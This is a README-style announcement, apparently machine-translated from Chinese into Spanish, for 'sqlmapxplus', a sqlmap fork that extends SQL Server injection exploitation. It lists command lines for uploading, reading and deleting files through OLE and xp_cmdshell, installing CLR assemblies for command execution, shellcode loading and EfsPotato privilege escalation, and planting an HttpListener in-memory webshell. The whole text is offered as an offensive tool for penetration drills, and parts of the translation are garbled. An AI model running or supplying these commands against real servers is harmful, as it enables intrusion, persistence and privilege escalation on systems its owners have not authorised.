En muchos simulacros de ataque y defensa regionales, la inyección de la pila de bases de datos de SQL Server todavía tiene una alta frecuencia de explosión de agujeros. Sin embargo, debido a algunas restricciones comunes en los escenarios de perforación, como falta de acceso a la red, permisos bajos, separación del sitio y la base de datos, protección del terminal, dificultad. Al conectarse, el mantenimiento de permisos es engorroso y solo un --os-shell ya no puede satisfacer nuestras necesidades.
sqlmapxplus se basa en sqlmap, reabre la herramienta clásica de explotación de vulnerabilidades de bases de datos, hace referencia a varias soluciones y agrega métodos de utilización de inyección de bases de datos MSSQL. En la actualidad, se ha completado parte del segundo desarrollo, incluida la carga de archivos de ole y la función de carga automatizada de shellcode.
Instrucciones de actualización 20240508 : función recién agregada para abrir ole, nueva función para leer archivos específicos, nueva función para mover archivos específicos, nueva función para copiar archivos específicos, nueva función para eliminar archivos específicos, nueva función para determinar la ubicación de archivos específicos, nueva función de almacenamiento Función de consulta de proceso, nueva función de eliminación de proceso almacenado, modificación del método de carga antiguo, modificación del proceso de instalación de clr, modificación del método de ejecución del comando clr, eliminación de errores causados por comentarios chinos
Dirigido al problema de la falla de instalación de clr causada por la pérdida de transmisión de dll durante el proceso de red real (solución temporal) Se descubre que el dll de clr utilizado en la función --install-clr original es demasiado grande y se realizan una gran cantidad de inyecciones. a menudo se requiere en el combate real. Si el proceso de inyección Un cierto error hará que el dll no se implemente y no se pueda ingresar con éxito. El proceso de instalación automática original con un solo clic ahora se elimina y modifica para permitir al usuario personalizarlo. Instalación de dll basada en la situación de destino real y agregue temporalmente --check- La opción de archivo determina si el archivo dll llegó exitosamente al host de destino. Agregue temporalmente --check-clr para determinar si la función definida por el usuario se cargó exitosamente. la base de datos.
¿Por qué ocurre el problema de amplificación de dll durante el proceso de carga? Convertir a hexadecimal y luego restaurar hace que el archivo aumente. Por ejemplo, la letra A se convertirá a 41 en hexadecimal, duplicando el tamaño.
Problemas con la personalización de clr (completado) install-clr se modifica para requerir que se especifique la ruta personalizada de clr.dll. Ingrese el nombre de clase definido por el usuario en el cuadro de solicitud y el nombre del método definido por el usuario clr_shell mode El método para ejecutar la función clr. en el modo clr_shell se modifica a: La función definida por el usuario pasa parámetros (completado)
File system access: --xp-upload upload file by xp_cmdshell --ole-upload upload file by ole --check-file use xp_fileexis check file exist --ole-del delete file by ole --ole-read read file content by ole --ole-move move file by ole --ole-copy copy file by ole Operating system access: --enable-clr enable clr --disable-clr disable clr --enable-ole enable ole --check-clr check user-defined functions in the database --del-clr delete user-defined functions in the database --install-clr install clr --clr-shell clr shell --sharpshell-upload1 sharpshell upload1 --sharpshell-upload2 sharpshell upload2
sobre viejo :
# 开启 ole 利用功能 python sqlmap.py -r/-u xxx --enable-ole # 通过 ole 上传文件 python sqlmap.py -r/-u xxx --ole-upload local_file_path --file-dest remote_file_path # 通过 ole 删除指定文件 python sqlmap.py -r/-u xxx --ole-del remote_file_path # 通过 ole 阅读指定文件 python sqlmap.py -r/-u xxx --ole-read remote_file_path # 通过 ole 移动并重命名文件 python sqlmap.py -r/-u xxx --ole-move remote_file_path1 --file-dest remote_file_path # 通过 ole 复制文件 python sqlmap.py -r/-u xxx --ole-copy remote_file_path1 --file-dest remote_file_path2 # 通过 ole 实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload2
otras funciones:
# 通过 xp_cmdshell 上传文件 python sqlmap.py -r/-u xxx --xp-upload local_file_path --file-dest remote_file_path # 使用 xp_fileexis 来检查文件是否存在 python sqlmap.py -r/-u xxx --check-file remote_file_path # 查询数据库中是否存在用户自定义函数 python sqlmap.py -r/-u xxx --check-clr clr_function_name # 删除用户自定义函数 python sqlmap.py -r/-u xxx --del-clr clr_function_name # 通过 xp_cmdshell实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload1
acerca de clr :
# 开启 clr 利用功能 python sqlmap.py -r/-u xxx --enable-clr # 关闭 clr 利用功能 python sqlmap.py -r/-u xxx --disable-clr # 进入 clr 安装模式 python sqlmap.py -r/-u xxx --install-clr # 进入 clr-shell 命令交互模式 python sqlmap.py -r/-u xxx --clr-shell # clr dll 参考如下,更多其他dll请参考星球获取 # 存储过程类名Xplus,存储过程函数名需要注意大小写,分别为 # ClrExec、ClrEfsPotato、ClrDownload、ClrShellcodeLoader # 对应项目目录下单独功能的dll,分别为 clrexec.dll clrefspotato.dll clrdownload.dll clrshellcodeloader.dl
Cuenta pública: Guerra Cibernética
Knowledge Planet: Guía de pruebas de penetración
Enlace de referencia para la versión anterior: https://mp.weixin.qq.com/s/nTYPKnl9XQLWhZ43sQV3xw
Enlace de referencia para la nueva versión: https://mp.weixin.qq.com/s/6RpxXitEPt8rA1DFb56Oxw
https://github.com/sqlmapproject/sqlmap
https://github.com/uknowsec/SharpSQLTools
https://github.com/Anion3r/MSSQLProxy
https://mp.weixin.qq.com/s/X0cI85DdB17Wve2qzCRDbg
https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/